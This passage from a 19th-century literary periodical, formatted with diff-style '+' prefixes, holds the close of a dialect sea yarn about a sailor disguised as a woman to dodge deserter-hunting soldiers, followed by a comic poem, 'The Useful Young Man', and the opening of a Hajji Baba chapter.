+jollies!--all for paint and pipe-clay. Now, Suke's as handsome to me as
+ever she was; and when I sees her like an ould hen clucking over the
+young uns, I'm blessed if I don't love her more than when she saved me
+from having my back scratched by the tails o' the cat! I know, when
+a craft is obliged to be unrigged and laid up in ordinary, she don't
+look not by no manner o' means so well as when she was all a-taunto,
+and painted as fine as a fiddle: but still, shipmates, she's the same
+craft; and as for beauty, why, setting a case, it's just this here:
+there's ould beauty, as well as young beauty; and it a'nt so much in
+the figure-head, or the plank-shear, as having done your duty once, and
+ready to do it again."
+
+"All that _may_ be very true, Jack," persevered the serjeant; "but then,
+you must allow there is as great a difference in the appearance of some
+women when compared to others, as there is in the build or rig of a
+vessel."
+
+"Hearken to that, now!" responded the boatswain's mate. "Do you think
+Jack Sheavehole wants to be told that a billy-boy arn't a ninety-eight,
+or a Dutch schuyt a dashing frigate? But, look at this here craft that
+now rolls us so sweetly over the ocean: arn't she as lovely now as when
+she first buttered her bottom on the slips, and made a bed for herself
+in the water? and won't she be the same beauty when she's put out of
+commission, and mayhap be moored in Rotten-row? Well, she's stood
+under us in many a heavy gale, and never yet showed her starn to an
+enemy,--that's why I love her; not for what she may do, but for what she
+has done."
+
+"But, I say, Jack! it's just the time for a yarn," said the captain of
+the forecastle. "Tell us how Suke saved you from the gangway."
+
+"I wull, messmate--I wull," returned the other; "and then this lubberly
+jolly shall see if I arn't got a good right to call her a beauty. I
+belonged to the Tapsickoree, two-and-thirty; and, though I says it
+myself, there warn't many more sich tight-looking, clean-going lads as
+ould Jack Sheavehole--though I warn't _ould_ Jack then, but a reg'lar
+smart, active, young blowhard of a maintopman. Well, we'd just come home
+from foreign, and got three years' pay and a power o' prize-money; and
+so most o' the boys goes ashore on liberty, and carries on till all's
+blue. This was at Plymouth, shipmates; but, as we wur expecting to go
+round to Spithead, I saves my cash--'cause why? I'd an ould father and
+mother, from whom I'd parted company when a boy, and I thought, if I
+could get long leave--thinks I, mayhap I can heave alongside of 'em,
+with a cargo o' shiners, and it'll cheer the cockles o' their ould
+hearts to see their son Jack togg'd off like a jolly tar, and captain
+of a frigate's maintop; and, setting a case, why it's just this here: I
+didn't want anything on 'em, but meant to give 'em better ground-tackle
+to hould on to life by."
+
+"That was very kind of you, shipmate," said the serjeant.
+
+"Well," continued the boatswain's mate, without heeding the serjeant's
+observation, "I has a bit of a spree ashore at Dock, in course;
+but soon arter we goes round to Portsmouth. I axes for long leave;
+and, as I'd al'ays done my duty to Muster Gilmour's--he was first
+leeftenant--to Muster Gilmour's satisfaction, I gets my fortnight and my
+liberty-ticket, and the large cutter lands me at Sallyport; so I hauls
+my wind for the Blue Postes on the Pint, and enters myself on the books
+of a snug-looking craft, as was bound through my native village.--Well,
+shipmates, in regard o' my being on liberty, why, I was a gemman at
+large; so I buys a few duds for ould dad, and a suit of new sails, and
+some head-gear for the ould woman: for, thinks I to myself, mayhap we
+shall cruise about a bit among the neighbours, and I'll let 'em see
+we arn't been sarving the king or hammering the French for nothin'.
+And, mayhap, thinks I, they arn't never got too much to grub; so I
+gets a bag, and shoves in a couple of legs o' mutton and a whole shole
+of turnips, a full bladder of rum, and, as I knew the old uns loved
+cat-lap, there was a stowage of sugar and tea, with a bottle o' milk;
+and, having plenty of the ready, I buys a little of everything useful in
+the small way, that the ould chap at the shop showed me: and, my eyes!
+but there was thousands of packages twisted and twined in true-blue
+paper;--there was 'bacca, mustard, snuff, salt, soft tommy, pepper,
+lickerice, matches, gingerbread, herrings, soap, pease, butter, candles,
+cheese,--in short, something of everything, not forgetting a Welsh
+wig and a mousetrap; and I'm blowed if I warn't regularly fitted out
+for a three months' cruise! Well, by the time I'd got all my consarns
+ship-shape, I twigs the signal for sailing, and so I gets aboard; and in
+course, in regard o' my station in the maintop, I goes aloft, as high
+as possible upon the upper-deck, and claps myself upon the luggage; but
+when the governor as had charge comes to take the twiddling-lines, he
+axes me to berth myself on the fokstle, and so, not to be outdone in
+civility, or to make 'em think I'd let slip my edication, I comes down,
+and goes forud, and stows myself away just abaft the pilot; when we made
+sail, there was a party o' liberty boys from the ould Hibernia gives me
+three cheers, and I waves my bit o' tarpaulin, sports a fresh morsel o'
+'bacca, and wondered what made the houses and everything run past us so
+quick; but I soon found out it was the craft--for I remembered the comb
+of the sea did just the same when the frigate was walking along at a
+spanking rate. So, for the first hour, I sits quiet and alone, keeping a
+sharp look-out on the pilot, to see how he handled the braces, rounding
+'em in to starboard, or to port--for, thinks I to myself, it's best to
+larn everything--'cause why? who can tell but Jack Sheavehole mayn't
+some day or another command just sich a consarn of his own! and how
+foolish he'll look not to know which way to shape his course, or how
+to steer his craft! But, I'm blowed! shipmates, if the horses didn't
+seem to savvy the thing just as well as the man at the helm; for the
+moment he tauten'd the gear, the hanemals slued round o' themselves all
+ship-shape, and Bristor-fashion."
+
+"Why, it was the _reins_ that guided them," said the serjeant, laughing.
+
+"Then I'm blessed if it was!" returned old Jack; "for there warn't a
+drop o' _rain_ fell that arternoon--it was a bright, sun-shiny day."
+
+"What you call twiddling-lines, they call reins," explained the
+serjeant; "and the horses are steered by them."
+
+"Mayhap so, brother,--mayhap so," responded the boatswain's mate; "for I
+arn't much skilled in them matters--'cause why? I never sail'd in one on
+'em afore, and ounly once since;--the first was a happy trip, the last
+was melancholy; and Jack sighed like an eddy wind in the galley funnel.
+"But, to heave a-head--"
+
+"A good look-out before, there!" shouted the mate of the watch, from
+the quarter-deck, where he was showing his authority by thrashing the
+youngsters.
+
+"Ay, ay, sir!" responded the man at the cat-head; and then added, in a
+lower tone, "They're having a jolly sheave-o in the cabin!"
+
+"It's a sad heart as never rejoices!" said the captain of the
+forecastle. "But, I say, Jack! I don't like the look o' that sky to
+windard."
+
+"It's one of two things--a parting blush o' the sun, or a gathering
+squall o' the night," returned the boatswain's mate; "but we've no
+reason to care about it--'cause, why? we're all as snug as possible.
+Well, shipmates, to get on with my yarn:--when we'd run a league or
+two, out of Portsmouth, we hove to at a victualling port, and I spied
+a signal for good cheer hanging out aloft; and so, without any bother,
+I boards 'em for a reg'lar stiff Nor'-wester, more nor half-and-half,
+and says I to the pilot, 'Yo-hoy, shipmate!' says I, 'come, and set up
+the standing backstays o' your heart a bit; and here, ould chap, is
+someut to render the laneard;' and so I gives him a share out o' the
+grog-tub, that set his eyes a-twinkling like the Lizard lights on a
+frosty night. Well, just as we were going to trip the anchor again, a
+pretty, smart-looking young woman rounds to under our starn and ranges
+up alongside; and she says to the pilot, says she, 'Coachman, what'll
+you charge to take me to ----?' and I'm blessed if she didn't name the
+very port I was bound to!"
+
+"Why, 'tis quite romantic, Jack!" said the serjeant; "we shall, no
+doubt, have a love-story presently: but, I'll wager you my grog
+to-morrow, I can tell you who the female was."
+
+"Then, I'm blowed if you can!" retorted the boatswain's mate. "Now, who
+was she, pray?"
+
+"Is it a fair bet?" inquired the serjeant with a look of conceited
+knowledge.
+
+"No, she warn't a fair Bet, nor a fair Moll either," returned old Jack
+surlily. "I thought you'd know nothing whatsomever about it! for that's
+always the case when a jolly tries to shove his oar into a seaman's
+rullock--'cause why? he don't savvy the loom from the blade."
+
+The serjeant laughed. "I meant a fair wager--that is, my allowance
+against yours to-morrow that I name the female."
+
+"Done!" exclaimed the boatswain's mate; "and, shipmates, I call you all
+to witness that everything's square and above-board."
+
+"Why, it was your Sukey, to be sure--Mrs. Sheavehole--anybody could tell
+that," replied the serjeant.
+
+"There--you're out in your chrissening, ould chap, as you'll find
+presently," asserted the veteran; "and so you've lost your grog. But,
+d--it! I'd scorn to take a marine's allowance from him, though you
+richly desarves it."
+
+"Come, heave ahead, Jack!" said the captain of the forecastle; "make a
+clear run of it, and don't be backing and filling this fashion."
+
+"Ay, ay, Jem, I wull, I wull," answered old Jack. "But, I say, shipmate!
+just clap a stopper on the marine's chattering-gear whilst I overhaul
+my log.--Oh, now I have it! Up comes the young woman, and 'Coachman,
+what'll you charge no take me to ----?'--'Seven shillings, ma'am,' says
+he.--'Carn't you take me for less?' axes she; 'I've ounly got five, and
+I am very tired with walking.'--'Not a ha'penny less, ma'am,' says he,
+just as cool as an iceberg in Hudson's Bay; 'carn't do it, ma'am.'--'Oh,
+do try!' says she, and I could see sorrow was pumping the tears into her
+eyes; 'I would give you more if I had it,' says she.--'Carn't help it,
+ma'am,' says ould surly-chops, 'carn't help it; grub for the hanemals
+is very dear.'--'Oh, what shall I do!' says she so piteously; 'night is
+coming on, and it's a long way to travel on foot; I shall sink under
+it: do take the money!'--'Werry sorry, my dear,' says he, shaking his
+blubber head like a booby, perched on a ratlin, 'werry sorry, but never
+takes under price. You must use your trotters if you arn't never got
+seven bob.'--'Then I'm d--if she does!' says I, 'for you shall carry
+her.'--'Gammon!' says he, as spiteful as a pet monkey; 'who's to tip
+the _fare_?'--So I ups and tells him a piece o' my mind, and axes
+him if he ever know'd anything _unfair_ by Jack Sheavehole, or if he
+thought I wanted to bilk him out o' the passage-money.--'Will you stand
+the two odd bob?' axes he.--'And d' ye think I won't stand as much as
+Bob or Dick, or any one else?' says I in a bit of a passion. 'Avast,
+ould chap!' says I; 'humanity arn't cast off the mooring lashings from
+my heart yet awhile, and I hopes never will;' and so I gives him a
+seven-shilling bit without any more palaver, and 'Come, my precious,'
+says I, houlding out my fin, 'mount areevo;' but I'm blessed if she
+didn't hang back till the pilot rung out for us to come aboard! And
+'Lord love you!' says I, 'you arn't afeard of a man-o'-war's-man, are
+you?'--Oh no,' says she, brightening up for all the world like the
+sun coming out of a fog-bank,--'Oh no; you have been my friend this
+night, and God reward you for it!' So we soon clapped one another
+alongside upon the break of the fokstle, and got to overhauling a little
+smattering o' larning, by way of being civil, seeing as we'd ounly just
+joined company. 'I'm thinking that's a pretty village you're bound to,'
+says I in a dubersome way; 'I was there once,' says I, 'when I was
+a boy about the height of a tin pannikin;' for, shipmates, I didn't
+like to overhaul how I'd run away from home. 'Pray, is ould Martin
+Joyce alive?' says I.--'He was when I left yesterday morning,' says
+she; 'but he is confined to his bed through illness.'--'And the ould
+woman.' says I, 'does she still hould on?'--'Yes,' says my companion;
+'but she's lame, and almost blind! Well, I'm blow'd, shipmates, if I
+didn't feel my daylights a-smarting with pain with the briny water that
+overflowed the scuppers--'cause why? them there wur my own father and
+mother, in the regard of my having been entered on the muster-books in
+a purser's name, my reg'lar right-arnest one being Jack Joyce. 'And
+what makes you cruising so far away from port?' says I, all kindly and
+messmate-like.--'It's rather a long story,' says she; 'but as you have
+been so good to me, why, I must tell you, that you mayn't think ill of
+me. You shall have it as short as possible.'--'The shorter the sweeter,
+my precious,' says I, seeing as I oughtn't to be silent. Well, she
+begins--'Sister Susan and I are orphans; and when our parents died, ould
+Martin and his dame, having no children, took us under their roof.'--'No
+children!' says I. 'Why, I thought they had a young scamp of a son.' I
+said this, shipmates, just to hear what she would log again me.--'Oh
+yes,' says she; 'but he ran away to sea when a boy, and they never
+heard from him for many years, till the other day they received a letter
+from Plymouth to say he was in the Tapsickoree frigate, and expected to
+be round at Spithead before long. So, the day before yesterday, a sailor
+passing through the village told us she had arrived; and so his parents
+getting poorer and poorer, with his father sick and his mother lame, I
+thought it would be best to go to him and tell him of their situation,
+that if he pleased he might come and see them once more before they
+died.'--I was going to say, 'God A'mighty bless you for it!' but I
+couldn't, shipmates; she spoke it so plaintively, that I felt sumeut
+rise in my throat as if I was choking, and I gulped and gulped to keep
+it down till I was almost strangled, and she went on:--'So yesterday I
+walked all the way to Portsmouth, and went aboard the frigate; but the
+officer tould me there was no man of the name of Joyce borne upon the
+the books.'--'It was a d--lubberly thing!' says I, 'and now I remembers
+it.'--'What,' says she, 'what do you mean?'--'Oh, nothing, my precious,'
+says I, 'nothing in the world;' for I thought the time warn't come for
+me to own who I was, and it fell slap across my mind that the doctor's
+boy who writ the letter for me, had signalised my right-arnest name
+at the bottom, without saying one word about the purser's consarn of
+Sheavehole. 'And so you've had your voyage for nothing,' says I, 'and
+now you're homeward-bound; and that's the long and the short on it.
+Well, my precious, I'm on liberty; and as ould Martin did me a kindness
+when I was a boy, why, I'll bring up for a few hours at his cottage,
+and have a bit of a confab consarning ould times.' And the young woman
+seemed mightily pleased about it; so that by the time we got to ----,
+I'm blessed if, in all due civility, we warn't as thick as two Jews
+on a payday. Well, we landed from the craft, and away we made sail in
+consort for ould dad's cottage; and I'm blessed if everything didn't
+look as familiar to me as when I was a young scamp of a boy! but I never
+said not nothing; and so she knocks at the door, and my heart went
+thump, thump,--by the hookey! shipmates, but it was just as I've seen a
+bird try to burst out of its cage. Presently a voice sings out, 'Who's
+there?'--and such a voice!--I never heard a fiddle more sweeterer in
+the whole course of my life--'Who's there?' says the voice, in regard
+of its being night, about four bells in the first watch.--'It's Maria,'
+says my convoy,--'And Jack Sheavehole,' says I. 'Heave ahead, my cherub!
+give us a clear gangway and no favour.'--'Oh, Maria, have you brought
+him with you?' said a young woman, opening the door; and by the light
+she carried in her hand, she showed a face as beautiful--I'm d--if
+ever they carried such a figure-head as that, in any dock-yard in the
+world!--'Have you brought him with you?' says she, looking at me, and
+smiling so sweetly, that it took me all aback, with a bobble of a sea
+running on my mind that made my ideas heave and set like Dutch fisherman
+on the Dogger-bank.--'No,' says Maria, with a mournful sough, just as
+the wind dies away arter a gale--'No; there was no such person on board
+the frigate, and I have had my journey for nothing.'--'Nonsense!' says
+the other; 'you want to play us some trick. I know this is he;' and she
+pointed to me.--'Lord love your heart!' says I, plucking up courage,
+for I'd flattened in forud, and fallen off so as to fill again,--'Lord
+love your heart! I'd be anything or anybody to please you,' says I;
+'but my name, d' ye mind, is Jack Sheavehole, at your sarvice in all due
+civility. But let us come to an anchor, and then we can overhaul the
+consarn according to Hamilton Moore.' So we goes in; and there sat my
+poor ould mother by the remains of a fire, moored in the same arm-chair
+I had seen her in ten years afore, and by her side was an ould wheezing
+cat that I had left a kitten; and, though the cabin-gear warn't any
+very great shakes, everything was as clean as if they'd just washed the
+decks. 'Yo-hoy, dame!' says I, 'how do you weather the breeze?'--'Is
+that my John?' says she, shipping her barnacles on her nose, like the
+jaws of a spanker-boom on the saddle; and then Maria brings up alongside
+of her, and spins the yarn about her passage to Portsmouth, boarding
+the frigate, finding that she was out in her reckoning, and her return
+with me; and ould dad, who was in his hammock in the next berth, would
+have the door open to hear it all. And I felt so happy, and they looked
+so downcast and sorrowful, that I'm blessed if I could stand it any
+longer: so I seizes Susan round the neck, and I pays out a kiss as long
+as the main-t'-bowline, till she hadn't breath to say 'Don't;' and then
+I grapples 'em all round, sarving out hugs and kisses to all hands,
+even to the ould cat; and I danced round the chairs and tables so,
+that some o' the neighbours came running in; and 'Blow me tight!' says
+I, 'side out for a bend; here I am again, all square by the lifts and
+braces!'--and then I sings,
+
+    'Here I am, poor Jack,
+      Just come home from sea,
+    With shiners in my sack'--
+
+and I whips out a handful of guineas from my jacket pocket, and shows
+'em,--
+
+    'Pray what do you think of me?'
+
+'What! mother,' says I, 'don't you know me? Why, I'm your true and
+lawful son Jack Joyce; though, arter I run away, the purser made
+twice-laid of it, and chrissened me Sheavehole, in regard of his
+Majesty liking to name his own children. Never say die, ould woman!
+there's plenty o' shot in the locker. And come, lasses,' says I to the
+young uns, 'one on you stand cook o' the mess;' and I empties my bag
+on the floor, and away rolled the combustibles, matches, and mutton,
+and mousetraps, and all, scampering about like liberty boys arter a
+six months' cruise; and I picks up the bladder o' rum, and squeezes
+a good drain into a tea-cup, and hands it to the ould woman, topping
+up her lame leg while she drinks. And, my eyes! there was a precious
+shindy that night: the ould uns were almost dying with joy, and the
+young uns had a fit o' the doldrums with pleasure. So I gets the big
+pot under weigh, and shoves in both legs o' mutton and a full allowance
+o' turnips, and I sarves out the grog between the squalls; and ould dad
+blowed a whiff o' 'bacca, and mother payed away at the snuff; and nobody
+warn't never happy if we warn't happy that night. Well, we'd a glorious
+tuck-out o' mutton, wi' plenty o' capers; and arter that I stows the
+ould woman in alongside o' dad, kisses the girls in course, and then
+takes possession o' the arm-chair, where I slept as sound as a jolly on
+sentry."
+
+"That's libellous!" exclaimed the serjeant somewhat roughly, as if
+offended; "it is an unjust reflection, and is clearly libellous."
+
+"It's all the same to ould Jack whose _bellows_ it is," returned the
+boatswain's mate carelessly; "it's no lie, howsomever, for none sleeps
+so soundly as a marine on duty. But I arn't got time to overhaul that
+consarn now; I know I laid in a stock of 'hard-and-fast' enough to
+last for a three weeks' cruise. Well, shipmates, we keeps the game
+alive all hot and warm, and we sported our best duds, and I makes
+love to Susan, and we'd a regular new fit-out at the cottage, and I
+leaves fifty pounds in the hands of the parson o' the parish for the
+ould folks, and everything went on, in prime style, when one day the
+landlord of the public comes in, and says he, 'Jack, the lobsters
+are arter you.'--'Gammon!' says I; 'what can them fellows want with
+me?'--'Arn't your liberty out?' says he.--'I never give it a thought,'
+says I.--'Where's your ticket?' says he. So I showed him the chit; and
+I'm blessed, shipmates, but it had been out two days! Well, there I was
+in a pretty perdiklement; and the landlord, says he, 'Jack,' says he,
+'I respect you for your goodness to the ould uns; though I suspects
+they arn't altogether the cause of your losing your memory:' and he
+looks and smiles at Suke. 'Howsomever, the lobsters are at my house
+axing about you; and I thought I'd slip out and let you know, so that
+you might have time to stow away.'--'Thanky, my hearty,' says I; 'but
+I'm blessed, shipmates, if I warn't dead flabbergasted where to find a
+stow-hole, till at last I hits upon a scheme to which Susan consented!
+And what do you think it was, shipmates?--but you'd never guess! Why,
+Suke slips on a pair o' my canvass trousers and comes to an anchor
+in the arm-chair with a blanket round her, below, and I stows myself
+under her duds, coiling away my lower stanchions tailor-fashion; and
+the doctor coming in to see the ould folks, they puts him up to the
+trick, and so he brings up alongside of her, and they whitens her face,
+to make her look pale, as if she was nigh-hand kicking the bucket: and
+there I lay, as snug as a cockroach in a chafing-mat, and in all due
+decency, seeing as Suke had bent my lower casings hind part afore,
+and there warn't a crack nor a brack in 'em. Presently in marches the
+swaddies, and 'Pray whose cottage is this?' axed the serjeant as stiff
+as a crutch.--'It is Martin Joyce's,' said Maria.--'Ay, I thought as
+much,' says he: 'pray where is his son, Jack Joyce, or Jack Sheavehole?'
+says he.--'He left us three days ago,' answered Maria, 'to join his
+ship: I hope nothing has happened to him?'--'Indeed!' says the serjeant.
+'Now, pretty as you are, I know that you are telling me what I should
+call a very considerable ----' Suke shrieked out, and stopped what he
+was going to say: for, shipmates, she sat so quiet, that, thinks I to
+myself, they'll find out that she's shamming; so I gives her a smart
+pinch in an inexpressible part, that made her sing out. Well, the long
+and the short on it, is, that the party, who were looking out sharp for
+'straggling money,' had a grand overhaul; but the doctor would not let
+them interfere with Susan, who, he declared, was near her cushionmong;
+and at last, being unable to find me, they hauls their wind for another
+port.--Well, shipmates, as soon as possible arter they were gone,
+why, Suke got rid of her trouble, and forth I came, as full-grown and
+handsome a babby as ever cut a tooth. But I warnt safe yet; and so I
+claps a suit of Suke's duds over my own gear, and, being but a little
+chap, with some slutching, and letting out a reef or two here and there,
+I got my sails all snugly bent, and clapped a cap with a thousand little
+frills round my face, and a straw hurricane-house of a bonnet as big
+as a Guineaman's caboose over all, with a black wail hanging in the
+brails down afore, and my shoes scandaled up my legs, that I made a
+good-looking wench. Well, I bid all hands good-bye. Suke piped her eye
+a bit; but, Lord love you! we'd made our calculations o' matrimony,
+and got the right bearings and distance, (else, mayhap, I should never
+have got stowed away under her hatches,) and she was to join me at
+Portsmouth, and we were to make a long splice of it off-hand; but then,
+poor thing! she thought, mayhap, I might get grabbed and punished.
+Up comes the coach; but the fellow wouldn't heave to directly, and
+'Yo-hoy!' says I, giving him a hail.--'Going to Portsmouth, ma'am?' says
+he, throwing all aback, and coming ashore from his craft.--'To be sure
+I am,' says I. 'What made you carry on in that fashion, and be d--to
+you!--is that all the regard you have for the sex?' says I.--'Would you
+like to go inside, ma'am?' says he, opening the gangway port.--'Not
+a bit of it,' says I: 'stow your damaged slops below, but give me a
+berth 'pon deck.'--'Werry good, ma'am,' says he, shutting the gangway
+port again; 'will you allow me to assist you up?'--'Not by no manner o'
+means,' says I. 'Why, what the devil do you take me for! to think the
+captain of a frigate's maintop can't find his way aloft!'--'You mean the
+captain of the maintop's wife,' says Susan, paying me back the pinch
+I gave her.--'Ay, ay, my precious,' says I; 'so I do, to be sure. God
+bless you! good-b'ye! Here I go like seven bells half struck!--carry on,
+my boy, and I'm blessed if it shan't be a shiner in your way!' And so
+we takes our berths, and away we made sail, happy-go-lucky, heaving-to
+now and then just to take in a sea-stock; and the governor had two eyes
+in his head, and so he finds out the latitude of the thing, but he
+says nothing; and we got safe through the barrier and into Portsmouth,
+and I lands in the street afore they reached the inn,--for, thinks I
+to myself, I'd better get berthed for the night and go aboard in the
+morning. Well, shipmates, I parts company with the craft, and shapes my
+course for Pint,--'cause I knew a snug corner in Capstan-square, and I
+was determined to cut with all skylarks, in regard o' Suke. Well, just
+as I was getting to steer with a small helm, up ranges a tall man who
+had seen me come ashore from the coach, and 'My dear,' says he, 'what!
+just fresh from the country?' But I houlds my tongue, shipmates, and he
+pulls up alongside and grabs my arm. 'Come, don't be cross,' says he;
+'let me take you in tow; I want to talk with you, my love.' I knew the
+voice well; and though he had a pea jacket over his uniform-coat, and,
+take him 'half way up a hatchway,' he was a d-- good-looking fellow, yet
+nobody as ever had seen him could forget them 'trap-stick legs;' and
+so, thinks I to myself, Jack, you'd better shove your boat off without
+delay: for, d'ye see, shipmates, I'd sailed with him when I was a
+mizen-top-mun in the ould Stag, and I well remembered Sir Joseph Y--ke.
+But I'm blessed if he didn't stretch out arter me, and sailed two foot
+to my one; and 'Come, come, my darling,' says he, 'take an honest tar
+for your sweetheart. Let's look at that beautiful face;' and he catches
+hould o' the wail and hauls it up chock ablock; but I pulls down my
+bonnet so as he couldn't see my figure-head, and I carries on a taut
+press to part company. But, Lord love yer hearts! it warn't no manner
+o' use whatsomever--he more than held his own; and 'A pretty innocent
+country wench indeed!' says he. 'What! have you lost your tongue?'--'No,
+I'm d-- if I have!' says I: for I forgot myself, shipmates, through
+vexation at not being able to get away. 'Hallo!' says he, gripping me
+tight by the shoulder; 'who have we here?' I'm blessed, shipmates, if,
+what with his pulling at my shawl, and my struggling to sheer off,
+my spanker boom didn't at that very moment get adrift, and he caught
+sight of it in a jiffy. 'Hallo!' says he, catching tight hold of the
+pig-tail, and slueing me right round by it. 'Hallo!' says he, 'I never
+see an innocent country wench dress her hair in this way afore;--rather
+a masc'line sort o' female,' he says. 'Who the devil are you?' 'It's
+Jack Sheavehole, your honour,' says I, bringing up all standing; and,
+knowing his generous heart, thinks I, Now's your time, Jack; overhaul
+the whole consarn to him, and ten to one but he pulls you through the
+scrape somehow or other. So I ups and tells him the long and the short
+on it, and he laughs one minute, and d--ns me for a desarting willun
+the next; and 'Come along!' says he 'I must see what Captain B--n will
+think of all this.' So he takes me in tow, and we went into one of the
+grand houses in High-street; and 'Follow me,' says he, as he walked up
+stairs into a large room all lighted up for a sheave-o; and there wur
+ladies all togged out in white, and silver and gold, and feathers, and
+navy officers and sodger officers,--a grand dinner-party. 'B--n,' hails
+Sir Joseph, 'here's a lady wants you;' and he takes me by the hand, all
+complimentary like, and the captain of the frigate comes towards us,
+and I'm blessed if every soul fore and aft didn't fix their eyes on
+me like a marine looking out for a squall. 'I've not the pleasure of
+knowing the lady,' says the skipper; 'I fear, Sir Joseph, you're coming
+York over me. Pray, ma'am, may I be allowed the happiness of seeing
+your countenance and hearing your name?'--'I'm Jack Sheavehole, yer
+honour,' says I, 'captain o' the Tapsickorees maintop, as yer honour
+well knows.'--'I do, my man,' says he with a gravedigger's grin on his
+countenance: 'and so you want to desert?'--'Never, yer honour,' says
+I, 'in the regard o' my liking my ship and my captain too well.'--'No,
+no, B--n,' says Sir Joseph, 'I must do him justice. It appears that
+he had long leave, and onknowingly overstayed his time; so he rigged
+himself out in angel's gear to cheat them devils of sodgers. I'll vouch
+for the fact, B--n,' says he, 'for I saw him myself get down from the
+coach--.'--'All fresh from the country, yer honour,' says I.--'Ay, all
+fresh from the country,' chimes in Sir Joseph. 'He's an ould shipmate
+o' mine, B--n, and I want you, as a personal favour to myself to back
+his liberty-ticket for to-morrow. Such a lad as this, would never desart
+the sarvice.'--'If I would, then I'm d--! saving yer honour's presence,'
+says I. Well, shipmates, there I stood in the broad light, and all the
+ladies and gemmen staring at me like fun; and 'Come, B--n,' says Sir
+Joseph, 'extend his liberty till to-morrow'--'Where's your ticket?' axes
+the skipper: and so, in regard of its being in my trousers pocket, I
+hauls up my petticoats to get at it; and, my eyes! but the women set up
+a screeching, and the officers burst out in a broadside o' laughing, and
+you never heard such a bobbery as they kicked up,--it was a downright
+reg'lar squall."
+
+"Ay, squall indeed," said the captain of the forecastle: "here it comes
+with a vengeance!" he bellowed out with stentorian lungs. "Hard up
+with the helm--hard a-weather." In an instant the sea was one sheet of
+foam; the wind came whistling like the rustling of ten thousand arrows
+in their swiftest flight; a report like the discharge of a heavy piece
+of artillery was heard forward, and away flew the jib like a fleecy
+cloud to leeward. The frigate heeled over, carrying everybody and
+everything into the lee scuppers; the lightning hissed and cracked as
+it exploded between the masts, making everything tremble from the keel
+to the truck; broad sheets of water were lifted up and dashed over the
+decks fore and aft: indeed, it seemed as if the gale were striving to
+raise the ponderous vessel from the ocean for the purpose of plunging
+it into the dark abyss; a thick mist-like shroud hung round her, alow
+and aloft, as she struggled to lift herself against the tempest. The
+topsail halliards were let go; but the nearly horizontal position of the
+masts prevented the sails from running down. Inevitable destruction for
+the moment threatened to engulph them all, when "crack, crack, crack!"
+away went the topmasts over the side; the spanker sheet had been cut
+away, and off bounced the spanker after the jib. The frigate partially
+righted, and Lord Eustace and his officers rushed to the deck. But the
+squall had passed: the moon again shone beautifully clear; the deceitful
+sky and still more deceitful ocean were all smiles, as if nothing had
+happened,--though the evidences of their wrath were but too apparent
+in the dismantled state of his Majesty's ship. But we must again leave
+them, as we did before, to
+
+             "Call all hands to clear the wreck."
+
+
+
+
+           THE USEFUL YOUNG MAN.
+      A SECOND SERIES. BY WILLIAM COLLIER.
+
+      "There's one of us in every family."
+
+    To make ourselves useful's a duty we owe
+    To mankind and ourselves in our sojourn below;
+    To return good for evil, and always "to do
+    Unto others as you'd have them do unto you:"
+    So I bear all with patience, resolved, if I can,
+    To act well my part as a Useful Young Man!
+
+    But, alas! _entre nous_, 'tis a difficult task,
+    As seldom I'm left in life's sunshine to bask;
+    For I'm hurried, and worried, imposed on by all,
+    Who think I should run at their beck or their call:
+    "So obliging," folks say, "is their favourite Sam,
+    That he well earns the name of the Useful Young Man!"
+
+    Each morning at breakfast I'm doomed to peruse
+    "The Herald," and "Post," for "the family news,"
+    While the toast, eggs, and coffee, which fall to my lot,
+    Get a pretty considerable distance from hot:
+    Yes, such are the COMFORTS--deny it who can?--
+    That fall to the share of each Useful Young Man!
+
+    If Jane, or Maria, for work should agree,
+    The dear creatures invariably send down for me
+    To make myself useful, and read while they knit,
+    Paint, draw, or do anything they may think fit.
+    Thus, Sam--poor pill-garlic!--they safely trepan:
+    Alack! what a life leads a Useful Young Man!
+
+    If the day's rather wet, and they can't gad about,
+    They think nothing whatever, of sending me out:--
+    "Now, Sam, my good fellow, just pop on your hat;
+    Run to _Howell's_ for this thing, and _Holmes's_ for that;
+    You'll make yourself pleasant we know, if you can,--
+    What a comfort to have such a Useful Young Man!"
+
+    When John, our fat butler, or Bridget, the cook,
+    Have leisure for reading "some novelty book,"
+    They ne'er think of asking my leave to peruse,
+    But help themselves freely to just what they choose:
+    Making free with my novels is no novel plan,
+    For THEY own Master Sam's such a useful Young Man!
+
+    Once Thomas, the footman, kissed Anne on the stairs,
+    Who loudly squalled out, just to give herself airs;
+    When my father ran down, in great anger, to see
+    What the cause of the squeaking and squalling could be.
+    Tom had bolted; but not till they'd settled a plan
+    To throw all the blame on _the Useful_ Young Man!
+
+    When the Opera we visit, I'm kept in the rear
+    Of our box, and can scarce get a glimpse, I declare,
+    Of the stage, or the audience;--so only remain,
+    To trot up to _Dubourg_ for _punch à la Romaine_,
+    To run out for a book, or to pick up a fan:--
+    Alas! what a drudge is a Useful Young Man!
+
+    But sad is my fate when I go to a rout.
+    If a toothless old maid sits a partner without,
+    The beaux are looked o'er, but they always agree
+    To fix the _agreeable_ task upon me;
+    For to dance with all _bores_, 'tis the province of Sam,
+    'Deed the file of each victimised Useful Young Man!
+
+    If we're late at the dance, and no coach to be had,
+    There's Sam! the dear fellow! the exquisite lad!
+    He'll search all the stands in the town, but he'll gain
+    A coach for his friends--though it's pelting with rain
+    Oh! such are the _pleasures_--deny it who can--
+    That fall to the lot of a Useful Young Man!
+
+    To be nice about trifles is not over wise;
+    Where's the churl that finds favour in woman's bright eyes?
+    To be nice about trifles, is trifling with folly,
+    For the right end of life is but left to be jolly;
+    So I'll make up my mind just to stick to this plan,
+    And PAG _out_ my _terms_ as a Useful Young Man.
+
+
+
+
+                   REMAINS OF HAJJI BABA.
+
+
+                         CHAPTER V.
+
+Having bought some spangled stuffs for the trousers of the harem of
+our exalted grand vizier, (upon whom be blessings!) and despatched
+them, with letters, to the foot of the Shah's throne by an express
+Tatar, I joined my Greek companions at the Adrianople Gate, and left
+Constantinople for the country of the Francs.
+
+I found my new friends were raving with the new malady. It seems that
+they now called themselves free,--a blessing which they endeavoured
+to persuade me was beyond all price; for, as far as I could learn
+from their definition of it, I found that now they could wear yellow
+slippers, put on a green coat, and wrap white muslin round their heads,
+without being called to account. However, in order to secure these
+advantages, it appeared that they were making no small sacrifices, for
+they were quarrelling amongst themselves to their hearts' content;
+and that more fell by the knives and stabs of their neighbours and
+countrymen than ever in former times fell even by the despotism of
+their Turkish rulers. Although I frequently asserted that quiet, peace,
+and security from danger were great objects in life; yet I found that
+I had a great deal to undergo before I could make them agree to that
+plain fact; and at length, seeing that they had made out a certain
+scheme of happiness of their own, the principal ingredient of which,
